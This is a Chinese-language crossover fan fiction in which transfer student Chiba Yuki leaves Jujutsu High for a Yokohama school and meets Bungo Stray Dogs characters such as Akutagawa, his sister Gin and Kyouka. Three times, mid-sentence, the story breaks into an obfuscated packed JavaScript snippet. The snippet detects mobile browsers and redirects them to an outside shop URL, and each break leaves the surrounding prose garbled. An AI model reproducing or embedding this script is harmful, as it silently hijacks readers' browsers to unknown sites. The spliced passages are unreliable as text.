《来自横滨高校!》 1. 横滨高校! 我是千叶佑木,这是我就读于横滨高校的第一天。 此事说来话长,从小我就能看到各种各样奇怪的人,有满地乱爬的精神病院在逃患者,模仿着老虎的叫声吼呀跑呀,有撕一页纸假装隔空取物的妄想症,赤手空拳就自信念叨着什么理想,有动不动就自杀的抑郁症青年,常年在河边遇到他惆怅地思考人生...而且,我的身上经常出现伤口,我并没有看到任何东西,有时候莫名其妙出现一些伤疤。 综上所述,我觉得我被什么脏东西缠住了。 我把这件事告诉母亲,母亲面色古怪:“..所以,你能看到一些奇怪的生物?还有东西会无故攻击你?" 我觉得哪里不对,但并没有反驳,毕竟母亲总结的十分精辟。 于是我中学毕业就被托关系送进了高专。全名东京都立咒术高等专门学校。 :D 这很好..个屁啊!虽然我的成绩不算拔尖,可和新一小兰铃子他们一起升入帝丹高中完全没问题啊!为什么要去赶着上个高专!不管心里如何崩溃,我还是被千叮咛万嘱咐的送进了大山(bushi)。 如果能在那里安稳地待三年也就罢了,但入学第一天目睹两位同期大打出手拆了教学楼后,我发现这个高专不是那么的对劲。 虽然高专很大,每天没有多少文化课,人也少得可怜,但我的同期都不是正常人,他们也和我一样会被看不见的东西攻击,我心想来对地方了,美滋滋幻想夜蛾老师会解决我们的问题。 我的世界观开始崩塌于处于好奇带了学校储物室翻到的丑眼镜,转头看见了一个丑陋的鬼东西在身侧死死盯着我。 当我被同期救下时,哆哆嗦嗦和他们说我看到的玩意,大家的脸色更怪了。白毛同期摸着下巴仔仔细细打量着我:“所以,佑木真的是个彻底的普通人啊。” 原来你们都能看到这些丑东西吗??! 被恶补了一堆有关咒灵的知识后,夏油杰拍拍我的脑袋:“佑木你看不见咒灵,来高专是因为你母亲和夜蛾老师的误会,不用担心,很快就能回去了。” 原来我只是个普通人。不用留在高专和看不见的丑东西待在一起,可以回去上我的高中,我喜而泣及。夏油杰欲言又止,大概是误以为我在难过,不知该如何安慰我。我甚至无暇顾及夏油杰的担忧,和高专几位校友道别后就在夜蛾老师的安排下火速告别高专。 夜蛾老师说,已经过去小半学期,很多高校不收学生,他为我在横滨找了所好学校,那片地方几乎没有咒灵,我不会受到严重伤害。 至此,我短暂又荒谬的高专生活落下帷幕。 我欢天喜地地奔向横滨高校,没有留意告别当天五条悟嘟囔着“可是她身上没有残秽”。 我的新学校特别特别好!已经半学期没有看见过正常学生的我面对充满生机的校园,一时有点新奇。 “千叶佑木……是吧?你的班级是一年级C班,一年级的教室走这条路。课下后去女生宿舍找宿舍长,已经给你安排好了宿舍。”学生会的一名学长在给我带路,一边领我去教室一边告诫诸多事宜。他带着一副圆镜框,头发梳得一丝不苟,深色眼眸微微垂下瞥着我的入学资料,明明是高中生却有种很浓的疲惫感。 被新学校光景吸引的我又被身侧这位学长的话转移了注意,我侧目看这位靠谱的学长,努力识别他胸牌上的名字。 “坂、口、安……”他走的不算慢,我一边跟紧学长一边伸着脖子识别胸牌,念叨第三个字的时候,他突然放慢了脚步,侧目看我,眼神示意我有话就说。 见他转过头,我卡了一下,然后继续说:“坂口学长,谢谢你为我带路。” 他点点头:“职责所在。你还有什么疑惑吗?”看着对方柔和的面容,下意识地,坂口安吾语气放缓了一些。 “咱们学校有什么好玩的活动吗?社团一类的?” “……个人举办的活动经常有,但与其说是活动,不如当成灾难。”他微妙地说。“社团倒是有很多,棒球弓箭轻音一类常规社团,还有些……有学校特色的社团,武装侦探社,黑手党文化交流协会一类的。” 等等!混入了什么奇怪的东西! 你们这个黑手党文化交流协会,它正常吗? 正常人都会害怕的吧? “黑手党文化交流协会?好酷!”我眼前一亮,听起来好有趣!侦探社……要不要去看看呢?毕竟新一也是名侦探,不知道这边有没有能和新一媲美的名侦探? “千叶同学,”总感觉提到那个协会时他的坂口的动作停滞一瞬,他表情有些严肃:“本校社团文化氛围浓厚,所以选择社团一定要慎重。最好多问问同学。” 社团文化氛围浓厚,多好啊,各个社团在竞争中又能互相学习,就喜欢这样有趣的校园。我点点头示意自己理解,他复杂地看我一眼,没有再解释什么。“就是这栋楼,第三间是你的教室,老师在那里等你,我先告辞……” 他说完这些,朝我点了点头,抬脚欲走—— “等等!坂口学长,请稍等我一会,几分钟就好!”我急忙拦下他,匆匆地奔走。 过了三分钟,我拿着刚从学校饮料贩卖机买的东西,小跑着赶回。见那个叫坂口安吾的学长仍在楼前等我,我松了口气,平复了下心跳,慢慢走近。 听见脚步声,安吾还没抬眼,手中就被塞了瓶咖啡,甚至还是冰的,瓶身不断凝结着白雾。他一愣。 “坂口学长,这是谢谢你今天的照顾。”我还没来得及擦汗,就抬头撞进了他微微睁大的眼睛,眼底的小块乌青也被拉伸。我有点不好意思,毕竟只是一瓶贩卖机的咖啡,不知道安吾学长能否喝惯吧。想到这点,我匆匆向坂口学长道别就转身奔进楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213621|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。 进楼后,我没忍住回眸看了他所在的位置。只见刚刚还急着走的坂口学长立在原地,在灿烂的日光下握着咖啡和我的资料不知道在想什么。 新班级也和想象中并无差别。新的班主任姓种田,似乎是教务处临时被调任过来老师,得知我是从高专转来的后,露出关切的眼神并更加细致地叮嘱我。我被种田老师的光头晃到眼睛,正在努力将注意力从光头上移开,听到他给我安排好了座位,忙不迭地告辞了。 我走进教室,不动声色地环视了一下教室,大概二三十号人,很多人用好奇的眼神默默观察着我。一眼望去有几个很有特点的人,长着雀斑的娃娃脸金发少年,和我对视后朝我友好地微笑。两边留着黑色鬓毛尾部泛白的男生,有点像垂耳兔。 ……嗯?垂耳兔?一旦接受了这个设定,就再也移不开视线。 我走到我的座位上,发现我的座位与垂耳兔同桌。此时那个黑发少年正在低头看一本书,我微微咳嗽一声,他立即警觉地抬眼,凌厉地视线扫了过来,见到陌生面孔,他的杀气才有所收敛。 “你好,我是新来的同学,千叶佑木,你的新同桌。” “你好,在下芥川龙之介。”他冷淡地点了点头。 ……哇,新同学好有个性,用“在下”自称,非常的酷哦。我在心里点了个赞,他抬头后,我才看清他清秀又暗含肃杀之气的容颜,最让人在意的是,他没有眉毛。 眉毛……是自己剃掉了吗?那今天是出门着急忘记画眉毛了么?要不要提醒一下……我望着他的眉间陷入沉思。 芥川龙之介以为我还有什么话,等了几秒钟。见我一直望着他不语,皱了皱不存在的眉毛。 “还有什么事吗?” “你需要一支眉笔吗?”我脱口而出。 芥川龙之介:“……在下不需要那种东西。”他眉头锁的更紧了:“在下的眉毛是天生的。” “这样吗,那真是不好意思,芥川同学。”我朝他友好地笑笑,微微露出几颗圆圆的牙。腹诽道我才不信呢,谁家天生的眉毛长这么干净,一定是自己偷偷剃了不好意思。但我才不会揭穿我的新同桌,嘻嘻。 他不自在地避开我的视线,低头继续看书。 附近的几个同学都对新同学的我很感兴趣,但似乎见我坐在芥川旁边,有点忌惮似得不敢上前搭话。我心中疑惑,但也并不着急,过段时间总会认识的,也不急于一时。 早上的课很快就过去,崭新的课本在座位的课桌里放着。这里的课程和高专的课不一样,毕竟高专没怎么认真上过文化课。第一天的课就听得头疼,只有国语能听懂,我默默记下不懂的地方,打算回去和母亲说一下,请个家教。 早上最后一节课也结束了,我从座位上站起来伸了个懒腰。打算跟着人流去食堂,余光突然瞥见一个黑色的身影。 2. 午间邂逅 那个人发型十分飘逸,头发高高地扎起,有一根长发在面前飘着,戴着白色口罩,随意地靠墙上等着什么人。他微微低着头沉默地看着人流从班门口涌出,像是黑暗中收敛爪牙伺机窥探的猛兽。 突然,他抬眼,隔着来往人流和在教室里的我对视,眼底清凌凌一片,瞥了我一眼就迅速移开目光。我的眼睛微微睁大,心剧烈地跳动起来。 扑通……扑通…… 在新学期第一天就遇到了中意的帅气同学!niccccce! 正当我犹豫着以什么样的借口前去搭话,芥川从门口走出,我看那个少年抬起头迎了上去,和芥川说了什么,二人并肩离开了。 诶诶诶?帅哥都是互相认识的吗?原来他来我们班门口是为了等芥川同学。我心里快速想出一个和飘逸少年接触的绝妙办法。可以在食堂打着“初来乍到只认识芥川同学”的名义加入他们的谈话,从而结识飘逸少年。 好!就这样办吧! 在食堂。 我呆滞地看着焦急的食堂大妈,她为难地说什么“必须要刷饭卡”“不收付现金”的话… 我哪里来得及办理饭卡啊! 跟了一路的两个身影已经不见了……出师未捷身先死啊。我有气无力地向大妈摆摆手示意没事,准备先去旁边办理饭卡,不知道饭卡办完要到什么时候了…… “诶?新同学要去哪里?没有带饭卡吗?”身后传来少年活泼的声音。 转身看去,原来是早晨班里的金发雀斑少年,他露出两个小虎牙,灿烂地说:“我帮你付吧!下次记得带上饭卡呀。” 哇——!小天使啊! 我感动地和他点了同样的牛肉盖饭,在食堂寻找到一处空位坐下。虽然没有和飘逸少年搭上话,但只要芥川是我同桌,我就还有机会!此时,这位叫金发少年的帮助让我的心情变得明媚,我们继续闲聊。 “我叫千叶佑木,还没问过你的名字?” “宫泽贤治。你叫我贤治就好啦。” “诶?好的。”我对他的自来熟感到讶异,可看到他单纯天真的容颜也很快理解了原因。“作为交换,请叫我佑木吧,贤治同学。” “佑木,你的饭卡需要我帮忙找吗?” “饭卡不是丢了啦……刚来学校完全来不及办理,一会趁着午休的时间去吧!” “这样啊!我还以为你和我之前一样,经常忘记带饭卡呢!”宫泽贤治欢快地说:“刚来大城市的时候,完全没有钱的概念,吃饭经常没带饭卡被拦下来,幸好有社长每次都帮我垫付。” “贤治来自哪里?” “原来一直在一个偏远乡下赶牛。”宫泽贤治露出怀念的神色,“因为体育特长被福泽老师招到这里,才第一次来到大城市呢。” 体育特长?贤治看起来小小弱弱的,居然是作为体育生招进来的。我问:“乡下生活是怎么样的?” “乡下很自由,大家都很温柔,当然学校的大家也很好,但乡下更像家。”他不好意思地说着,“我最喜欢牛了,以前养过一头叫‘花子’的牛。每天牵到草地里让它吃草,有几次不小心睡着了还是被它驮回家的。” 我看着桌子上的两盘牛肉盖饭,脑袋上缓缓流下豆大的汗珠。 刚想扯开话题,只见贤治若无其事地铲了一大勺牛肉盖饭塞进嘴里,含含糊糊地说:“佑木,是不合胃口吗?怎么不吃?” 我:“……” 所以不管是最喜欢的动物还是食物都是牛吗贤治?!某种程度上来说专一的有点可怕了吧? 午饭过后辞别了贤治,先去了学生会办事处。办公楼在学校中心,我问了两次路就找到了。走进办公楼,我轻轻敲了敲办事处的门,听见“请进”,毫无防备的推开门,猝不及防看见面前景象,我忍不住错愕。 一个黑发少年光着上身,露出优秀的身材在做俯卧撑。另一个白色头发带着一点红的眯眯眼,安稳地坐在黑发少年背上,心安理得地“负重”。 我:“……打扰了。”说完“砰”地关上了门。 既然在做这么奇怪的事就把门关好啊! ……嗯? 对了,难道不是那个少年说的“请进”吗……?既然他没有觉得不对劲,我为什么会感到羞耻啊! 不对!再来! 想到我没有着落的饭卡和学生证,我定了定神。小心翼翼地、再次推开面前这扇门—— 办公室内,两个少年坐在办公桌两侧,正襟危坐地看着我。 我:“呼——这才是正确的打开方式。” 眯眯眼:“嗯?同学你说什么?” “没怎么!学长——请问学生证和校服之类的、在、在哪里?”在两位学长严肃地目光下,我倍感压力。 “……转校生?”眯眯眼和黑发少年沉默了一下,“这是生活部的工作吧?” 看来他们俩不是相应部门的,我揉了揉眉心,刚准备告辞,黑发少年张口了:“其他部门成员都午休了,由我带她去仓库领校服吧。” 诶?原来是好人吗?我心里欢呼,朝他鞠躬:“拜托您了学长!” “好吧,”眯眯眼叹了口气,“那就一起走吧。”此时黑发少年已经打开门走出去,我正打算跟上,眯眯眼突然转头:“对了,学妹。” “怎、怎么了?” “你的心跳,太吵了。”他叹了口气,佯装苦恼。“从第一次进门开始,学妹你的心跳就吵得我头疼啊。” 诶? 诶诶——? 这是什么意思?威胁吗?再麻烦他们办事,就让我的心停止跳动一类的!可我也不算很过分吧?只是让学生会成员在午休时间做了些职责外的有些麻烦的小事……是他自愿的! “啊……更吵了……”他无奈扶额。 黑发少年在门外平静地说:“条野,不要挑逗别人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“看来你的物品已经由生活部的整理出来了。”末广铁肠拿出钥匙打开仓库门,看见我的学生证、饭卡和校服整齐第叠放在储物柜上。甚至用手提袋装好,方便我取。 “太感谢了,二位学长。”我如释重负地接过袋子,终于可以摆脱这个古怪的氛围了!我真的无法忍受了! “那群生活部的成员不都习惯偷懒拖延吗?”条野采菊摸着下巴,“这次怎么准备的这么细致?全都整理好放一起了?还用袋子装着。” 末广铁肠对生活部的作风略有耳闻,赞同地点点头。 我心念一动,想起了坂口安吾学长。如果是他那样严谨的人,一定会把所有东西收拾好,整齐放在一起的……等等,他那样的人一看就不是生活部的啊!我在乱想什么。 我朝二位敷衍又感激地笑笑:“二位学长,我先走了,改日再见。” “再见。” “下次再见啊,学妹。” 我转身急着回宿舍拿钥匙,自然没有注意到身后两人的谈话。 “心跳不会骗人。她真的不知道异能力是什么。”条野采菊饶有兴趣地看着少女的背影。 “也许不是因为异能力。” “你会信吗?……总之,她的心跳声很迷人。” 3. 计划内相遇 熬过宇宙第一冷场的折磨,我已经没有什么好怕的了。 我提着袋子走到宿舍楼,宿管部的成员兼宿舍长已经准备好了钥匙,“203宿舍,双人间。因为前段时间宿舍人员调换,你和隔壁班的学生合宿。”我安静地点点头,示意自己理解。 也许是看我实在乖巧,宿舍长又轻声说了两句:“舍友之间好好相处,有什么问题就来找我。” “还有,这边宵禁查的不严。”宿管微微颔首,“但没有社团活动的话,最好早点回宿舍。” “我知道了,谢谢您。”我再次感谢,然后转身前往我的宿舍。按理来说,查寝应该是高校最看重的方面,但刚逃离高专的我显然没有意识到哪里有问题。 203间。我轻轻推开门,意料之内的,宿舍内没有人。大部分人午休都会选择在教室里自习和聊天。看来要等晚上才能见到舍友了,我把袋子放到空床位,由于转学匆忙,行李要下午才能送到,我并没有什么物品要整理。我对新床位满意地点点头,正准备回教室,却听见门被轻轻打开的声音。 欸?是舍友吗? 门外走进来一个少女。她留着黑色长发,一撮头发留在脸前侧,有种说不明的熟悉感。见到我,她剔透的眼睛扑闪了一下,有些讶异地说:“是你……”声音细小温软,她很快不好意思地低下了头。 “你好,我是C班的千叶佑木。”我朝她露出笑容。 “……芥川银。”她很拘谨地回答,似乎有点不习惯和人相处。 “诶?你和芥川龙之介认识吗?” “他是……哥哥。” 芥川居然有一位这么可爱的妹妹吗?可恶! 我很轻快地说:“那我以后叫你银,好吗?你可以叫我佑木。”刚吐槽完贤治自来熟,现在的我面对美少女就完全克制不住想要拉近关系的强烈欲望了!可恶啊千叶佑木,你居然是这样双标的人吗! 芥川银愣了一下,然后微微露出一个清浅的笑容:“大家都叫我银。佑木你……可以叫我小银。” 我应声而倒。太萌了! 不过我完全没有预料到,新舍友会是芥川的妹妹,既然如此……我眼前一亮:“小银,你知道,你哥哥身边一个戴着白口罩的男生吗?” “……嗯?” “唔,我想想。就是头发这样高高扎起来。”我努力朝她比划着,“面前有一根头发……对对,就是和你正在扒拉的这根很像!——所以你果然认识吧?你哥应该和他很熟吧,中午我看见他们一起去吃饭了。诶——芥川身为哥哥居然会抛下妹妹和别人共进午餐吗……” 银不得不打断我发散性的思维:“你找、他有什么事情吗?” 我有些不好意思地挠了挠脸:“只是……有点在意啦……想认识一下……”我小声嘟囔什么“在新学校心动的第一个帅哥说什么都一定要收录”,但是不知道她有没有听清。 那个男生……我眼前又浮现出他在人群中抬眸的刹那,清凌凌的眼神,在我心中闪过一丝熟悉,很很快就被粉红色的滤镜淹没。 我发了会呆,突然想起小银已经半天没动静了。抬头看见小银正默默地看着我,我刚从回忆挣扎出来的大脑还有点迟钝,呆呆地与她对视了几秒。突然,她的脸颊浮起一片浅淡的绯红。 她微微垂下剔透的眼眸,“其实……”她张了几次口,还是说不出什么话。脸反而更红了。 “怎么了,小银?”我凑过去,有点担忧地摸了摸她的脸,果然是烫的。 “……不,没有。”她突然认输似的用手把我的脸推开,转过身去收拾桌子:“我算是认识吧……今天放学,我去会找你和哥哥,我们一起吃晚饭。” 我的眼睛睁大了!小银的异常让我以为这件事没希望了,没想到她会主动提出一起吃饭!我开心地说:“好哦,我先去上课了!那放学见,小银!” 她回应了一声,我心满意足地离开了宿舍。走之前,我疑惑地看了一眼她的桌子。 原本挺整齐的,为什么小银越收拾越乱了? 到了教室,贤治看见我,打了个招呼:“下午好,佑木。” “下午好贤治!” 他有点惊讶地问:“佑木,发生了什么好事情吗?哇,你看起来好开心呢。” “舍友是个美少女,只是和她聊了几句话就充满了活力!我们晚上还约好了一起吃饭……对了,饭卡我已经领到了,下次我请你吃饭吧,贤治!” “那就多谢了,希望下午你们相处愉快。”他脸上的小雀斑轻快地跃动,似乎是回忆起了什么:“我在乡下也有很要好的一些朋友呢,我们经常一起吃晚饭,不过每吃一顿就少一只……” 我:“……不要把我的新朋友和牛相提并论啊贤治!” 整个下午我都在幻想与飘逸少年再见的场景。我应该说“好巧,又见面了”?诶,万一他不记得我怎么办,毕竟我只和他对视过一眼。这么说来,当时的确是对视了吧?他看到我了吗?或者只是随意地扫视了一眼,根本没有在意呢?…… 我一会皱着脸一会傻笑,芥川看了我好几眼,大概没有见过情绪变化如此快的人。 “芥川,”察觉到他的目光,我收起傻笑凑了过去。“你的妹妹真的很可爱耶。” “你认识她?” “我是她的新舍友。话说她以前一直是一个人住吗?还是上一个舍友调……呃!”看着芥川迅速变黑的脸,我默了默,还是决定转移话题:“小银说,放学来找我们吃晚饭。” “我们?”他脸色慢慢恢复正常,蹙眉看了我一眼,“在下知道了。” 下午课少,四点多就放学了。我没有什么需要收拾的东西,想到六七点行李应该就到了,到时候还要把行李搬回宿舍……身边的芥川慢慢起身,手半掩唇咳嗽了几声,然后镇静地转身,“走吧,银在外面等我们。” 想到要再次见到那个少年,我忍住内心的悸动,乖乖跟着芥川走。中途还和贤治挥了挥手示意。 出了教室,我抬头张望,但并没有看见银。却看见了那个戴口罩的少年朝我们走来。他看见了我,脚步慢了慢。 被看见了!我难掩紧张的心情,僵着身子不敢多动一下,生怕克制不住当着他的面表演一段狂喜乱舞。 芥川:……她是不是在往我身后藏? 那个少年微吸一口气,像是下定了决心,快步朝我们走来。 他离我越来越近了。 我微微睁大眼睛,感到心脏在不受控制地跳动。 终于,他在我面前站定,复杂地看着我。 “银。”芥川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不过!”我满血复活,朝银伸出胳膊。银比我高很多,她无奈地微微弯下腰,我顺利地搂住她的脖子:“那个少年就是小银,这么一想更兴奋了耶!” 我发出怪笑:“可以和小银一起吃饭、一起泡澡、一起睡觉哎!” 银:“……可以。” 我又发出一声欢呼,我们两个幸福地把贴在一起,冒出粉红色泡泡。 芥川:“……”妹妹真是结实了不得了的人。 “哥哥,时间还早,去书店吧。”银看了看表。四点多放学,离晚饭的确还有很长时间,现在是学生参加社团活动的时间。 “协会那边……” “今天没有我们的活动,晚上再去就好。” “好。” 到了书店,芥川和妹妹对视一眼,出于礼貌,他朝我冷淡地点了点头,转身到书架深处挑选书籍。小银挽着我,小声说:“我们去那边挑文具吧。” “诶?” “佑木床位是空的,行李都没有。连文具都没有准备吧?走吧,我们去这边买笔。”小银勾着我的指头,带着我走到文创区,明明动作是那么轻柔,我却觉得自己轻飘飘得无法挣脱。 “这支怎么样?” “好看!我也用这个牌子的笔,超级好写!” “这个,出水很顺滑呢。” “小银看这个橡皮,黑白色垂耳兔,好像芥川啊……” “噗……确实有点像哥哥。” 我兴致勃勃地挑选着文具,严肃地想尺子是挑藕粉色还是黑白色。耳边传来轻飘飘地一声:“佑木会难过吗?” 诶? 4. 意料外初遇 我愣了愣,没有贸然转头,假装不在意地欣赏尺子,余光看见小银背着我,在看隔壁货架上的挂件。 可恶!背着身子完全看不清表情啊! 我试探着说:“还好啦……只是突然知道小银就是我在意的少年,有点不好意思呢。中午还跟你说了一些没有用的话,啊啊请忘掉吧小银!” 小银浅浅地笑出了声,然后转身认真地看着我:“对不起,佑木。” “咦?” “午休的时候我知道你认错了我的性别,可我不敢和你解释。我一直……不知道如何应对别人的接近。” 她的脸又微微泛红:“其实,能被佑木喜欢,我也很开心。” 终于说完了,银还没来得及吐气,我就扑了上去。娇软的少女环了一怀,银有些僵硬。 “我也很开心能遇见小银。” “如果真的认识了那个少年,我也只敢偶尔打个招呼,根本不敢靠近吧。”我想想自己嘴强王者的性格,“但是那个人不是少年,而是小银。我就可以和她成为亲密的好友了,简直赚翻了耶。” “佑木……”小银僵硬的身体慢慢放松下来。 我松开小银,笑着选了黑白色的尺子。“所以小银不用愧疚,因为我根本就没有伤心。” 她露出一个极浅的笑容,那释怀的容颜比之前的所有神情都要温柔。 买好文具后,芥川也提着书从书店走出来。看着妹妹发自真心的笑容,他的神情微微缓和。 我们三人找了一家饭店解决晚餐,走的时候芥川默默地结了饭钱。我提出把饭钱转给芥川,他面无表情地拒绝了。看着他冷漠的表情,我默默闭上了嘴 快说谢谢芥川。 饭后,小银和芥川的手机同时响起,他们迅速拿起手机扫了一眼,神情变得严肃。此时二人几乎如出一辙的冷漠表情才让我发现这对兄妹的相似之处。我想开口问发生了什么,却不敢直视他们携着冰冷杀机的眼神。 “千叶。”芥川站起身,“我和小银的社团有活动,你先回去吧。” 小银戴好口罩,用眼神询问我是否可以。我点点头:“我知道了。我自己回去就好,你们路上注意安全。” 小银出声了:“尽早回学校。” 我答应了,兄妹二人转身离开饭店。明明步伐不紧不慢,但很快消失在人海中。 我循着记忆回到学校,突然想起来自己的行李。想到换洗衣服都在行李中,我只好折身去学校附近的驿站拿。此时天色不算晚,但天气不太好,显得有些阴沉。 到了驿站,报了我的个人信息,如愿拿到我牵挂已久的行李。但我看着眼前大包小包的行李,有些犯难。我行李有一点杂,一共一个行李箱和两个行李袋,加上我刚刚买的文具,实在没办法轻松带回宿舍。我在驿站对着行李发了会呆,想到初来学校也没有相识的好友,银和芥川也有事离开,的确没人能够帮忙,我慢吞吞起身,行李袋搭在肩膀上,左手拖着行李箱,右手提着文具,慢腾腾向学校走去。 真重啊—— 可恶!我走了一段路就走不动了,行李袋里不知道装了什么东西这么沉,活像塞了一具成年男尸,相比之下行李箱竟然算轻。 “哈?那些家伙还敢来找死?我去解决东门的那群废物,至于南边……让‘黑蜥蜴’过去。”身后传来暴躁的男声,说到烦躁之处还附带弹舌。 我越走越慢,根本没有听清他在说什么。直到那个男生路过我,瞥了我一眼。 “喂,你是横滨高校的?天要黑了,不想遇见麻烦就赶紧回学校。” 我背着大包小包,根本走不动路。我正在犯难,突然身上一轻。讶异抬头,那个赭发少年已经接过我的两个行李袋,头也不回走了。方向是离这最近的学校东门。 “我可不会停下来等你啊?”少年不耐烦地弹了下舌,脚步未停。“再拖延下去,那群烦人的家伙来了,我可是没有功夫保护你。” 虽然不知道他口中的“那群家伙”是谁,但对于这个帮我分担行李的少年,我分外感激。“太感谢你了,同学。”我注意到他穿着校服。“不过为什么你们都对夜晚这么紧张?天黑是正常现象啊,难道我们学校同学都普遍怕黑吗?” “紧张?”他嗤笑,“怎么可能。该紧张的,是那群老鼠才对。夜晚,是我们社团的活动时间啊!” 说着这么凶的话,却意外好心地帮人提行李呢。我心里默默道。说什么一会遇到人很麻烦,其实他把我扔在这里,也完全没问题的吧? 说到行李,这个少年拎着两个超重行李袋,就跟顺手拿了几个塑料袋一样,没有丝毫影响到行动。跟着他的步伐,原本有些沉的行李箱,似乎也在他不经意的触摸之后变得轻盈。 傍晚偶遇看似不良实则善意的少年——超帅的哎!说到不良……我分神仔细打量了一下身前的少年,赭色头发,黑色帽子,是精致的黑色礼帽呢——咦,为什么会看的这么清楚? 诶——等等,原来是少年的气势让我忽略了他的身高!他的身高竟然和我差不多吗?可恶,完全被恐吓住了! 正在胡思乱想,他突然黑着脸转头瞥了我一眼:“我说,你这个家伙的眼神也太明显了。” “抱歉!我只是觉得,你的气势完全让人忽略了身高呢。” “虽然是夸人但这么说也太奇怪了吧?”他不自在地加快脚步,想起跟在后面的我,又无奈地停下来等我。 我认真地看着他:“我说得很奇怪吗?大家都才高中,身高以后还会长啊?” “……说的也是。”他微微勾了嘴角,不过立马压了下去。“宿舍到了,快回去吧。以后不要在校外逗留过久——如果你不想遇到麻烦。” 他把行李交给我。我突然想到行李袋似乎塞了两瓶牛奶,翻了出来给他:“这个牌子……很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213624|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝。” 他无所谓地接过。我接着问:“我是千叶佑木,高一转学生。能认识一下吗?” “果然是转学生啊。”他嘟囔着。转身挥挥手:“下次见面,再告诉你名字吧。” 直到那抹赭色隐没在黑夜中,我才提起行李进了女宿。行李竟然意外的轻,可能是这段路恢复了体力吧,我一口气把所有行李提上了楼。在它放进宿舍的一瞬间,两个行李袋发出了“咚”的两声沉闷的声音。我试探地拎了拎,又沉得提不动了。 ——难道我真有这么虚?我大惊失色。 把床位铺好后,日用品和衣服很快被整齐收纳好,小银还没有回来,我便盘腿坐在宿舍中盘点一些意料之外的行李。 行李是在高专时匆匆收拾的,很多东西看都没看直接塞进行李箱打包带了过来。我就说为什么行李袋这么重,原来有这么一堆鼓鼓囊囊的东西,咦?这些东西是…… 五条送的一盒巧克力,噫!毛豆味的?!心意领啦下一个!夏油送的风铃,铃铛是一只橘色招财猫,憨态可掬,好像是某次逛街提过一嘴的款式。一对暗绿色耳饰,在灯光下闪着细碎的光,一定是硝子挑的。硝子的眼光实在独特,我很喜欢这副耳饰。但由于没有耳洞,我把耳饰靠近光源欣赏了一会,便小心收进柜子中。 包里还有其他小礼物,是高专其他人送的。我看着那些礼品袋,想起分别的前夕,我急于离开那个与正常生活割裂的地方,只顾着闷头收拾宿舍,除了和硝子聊了会未来的打算,没有和其他任何人交流过。第二天离开时也不知如何与各位道别,客气地点点头便就此别过。 当时感受到凝滞的氛围,只当大家并不情愿为我送行,既如此我也无意浪费各位时间,礼貌地挥了挥手就离开了。哪想过他们何时把这些礼物塞进了我的行李中? 我托腮回想了一会。然后把礼物收拾起来,翻开另一个包裹。这是上高中之前与朋友们的合照,是我带到高专又带到横滨高校的珍宝。 我们穿着帝丹国中的校服,在多罗碧加乐园的长椅上坐着。我在左边吃着比脸大的棉花糖,圆子带着猫耳发箍,挽过我的手,另一边拉着小兰,她的脸微红。照片定格下每个人的笑容。 现在大家都在帝丹高中过得怎么样?圆子听说用发箍把刘海留起来了,看起来很精神呢;小兰在上次电话里说空手道比赛得奖,但由于高专的性质只能在电话里祝贺;拍下照片的新一,高中参加了足球队吧?但听小兰和圆子说很久没有见到他,真是失职的幼驯染啊! 畅享着朋友们的高中生活,我感到忙碌一天的身体又充满了能量!想起我现在也是个拥有正常高中生活的jk,就从地板上一跃而起,兴奋地把洗浴用品揽进盆中,赶往浴室。 在浴室冲了一个热水澡,心情轻松很多。我擦着头走出淋浴间,水滴沿着睫毛滴下,我眨了眨眼防止流进眼睛,一时不察迎面撞到一个少女。 5. 夜间浴室 刚洗完澡,我反应有些迟钝,手一松,盆子就脱手了。我慢了一拍,和对面的少女同时弯下腰去搂装满洗浴用品的洗浴盆,但理所当然地没有搂到。 这时,我发觉耳边有细微的气流,好像有东西在背后移动。洗浴盆似乎在空中被什么东西托了一下,接着被少女稳稳接住。 我下意识转头,背后空无一物,那气流仿佛是澡后的错觉。明明什么都没有看见,我莫名有种和什么东西对视上的诡异错觉。 “……你的东西,给你。” 少女用平淡的语气说道。我回过身接过洗浴盆,才观察起这位少女。她扎着低双马尾,一撮长卷呆毛耷在头顶,戴着白色发带,发间别着两朵小白花,映衬着白皙的带点婴儿肥的面容,清新别致。 “多谢你。”我笑着对她说。 想到我们在一层楼里遇见,她应该是隔壁宿舍的人,日后还会再见。我主动介绍自己:“我是刚转学过来的学生,叫千叶佑木,宿舍是203,日后请多多关照。” 她板正的小脸在听到“转学生”三字时浮现出一丝疑惑。她默默观察着我,半晌道:“你不惊讶吗?” 我一怔:“什么?” 话音刚落,那阵被什么东西盯上的诡异错觉又卷袭心头,我一瞬间寒毛倒竖。 我搓搓手臂,半晌犹疑道:“你们女浴闹鬼吗?” “……?” “比如什么深夜女浴室怪谈?会在角落带着怨气凝视着来往女学生,趁她落单之时……哈哈、开个玩笑……”看着她无语的神情,我再次干笑出声,声音渐渐小了下去:“所以刚刚一定是我的错觉啦……” 她收起泄露了一丝灵气的表情,一板一眼第对我说:“我是泉镜花,新宿舍在207宿,请多多指教。” 